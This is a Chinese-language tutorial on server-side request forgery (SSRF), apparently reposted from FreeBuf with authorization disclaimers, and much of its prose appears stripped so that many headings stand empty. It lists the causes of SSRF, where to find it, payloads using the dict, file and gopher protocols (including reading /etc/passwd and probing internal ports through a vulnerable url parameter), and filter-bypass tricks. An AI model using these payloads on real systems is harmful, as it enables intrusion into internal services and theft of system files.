一、什么是SSRF
二、SSRF漏洞形成原因
URL
,就会造成SSRF漏洞。三、与CSRF的区别
四、SSRF攻击的危害
-
banner信息:软件开发商,软件名称等。 -
指纹识别:开放的端口,中间件的版本等。 -
获取webshell:Srtuts2命令执行,通过Redis未授权getshell等。
五、漏洞场景
1、从Web功能点寻找
-
第一种方法,就是前期的信息收集,发现了他内网的ip,直接利用。 -
第二种方法,就是通过FUZZ,对内网地址进行枚举。
2、在线翻译
3、通过URL地址加载与下载图片
4、图片,文章收藏功能
5、社交分享功能
6、转码服务
7、云服务器厂商
8、网站采集,网站抓取的地方
9、邮件系统
10、编码处理,属性信息处理,文件处理
11、未公开的api实现以及其他扩展调用URL的功能
12、从URL的关键字寻找
六、SSRF总结
-
能够对外发起网络请求的地方 -
从远程服务器请求资源的地方
七、漏洞利用
1、dict协议运用
curl -v 'dict://127.0.0.1:22'
curl -v 'http://www.baidu.com:8080/vulnhub/ssrf.php?url=dict://139.9.198.30:22'
2、file协议运用
curl -v 'file:///etc/passwd'
curl -v 'http://www.baidu.com:8080/vulnhub/ssrf.php?url=file:///etc/passwd'
3、gopher协议运用
nc -lvvp 6789
gopher://10.0.0.1:6789/Hi%0aEveryone%0athis%20is%20just%20a%20test
4、PHP中下面的函数使用不当会导致SSRF
-
curl_exec() -
file_get_contents() -
fsockopen()
5、curl_exec()
http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:24680
http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://127.0.0.1:22
http://47.105.75.177:8080/vulnhub/ssrf/ssrf1/curl.php?url=dict://47.101.214.85:3389
6、敏感文件的读取
7、file_get_contents()
8、fsockopen()
八、无回显的SSRF
1、HTTP的带外通道
2、DNSlog
九、SSRF漏洞利用限制绕过
1、利用解析URL
2、IP地址转换成进制
3、添加端口可能绕过匹配正则
4、利用xip.io,xip.name
192.168.0.1.xip.io
,会自动重定向到192.168.0.1
。5、短网址绕过
6、利用句号
7、探测内网域名
8、[::]绕过localhost
9、封闭式字母数字(Enclosed Alphanumerics):
10、@符
十、SSRF漏洞防御
文章来源:https:
//www.freebuf.com/articles/web/379115.html
文章作者:小王的黑色短裤
如有侵权,联系删除
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
原文始发于微信公众号(白帽子左一):Web安全-SSRF服务端请求伪造 - 7
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论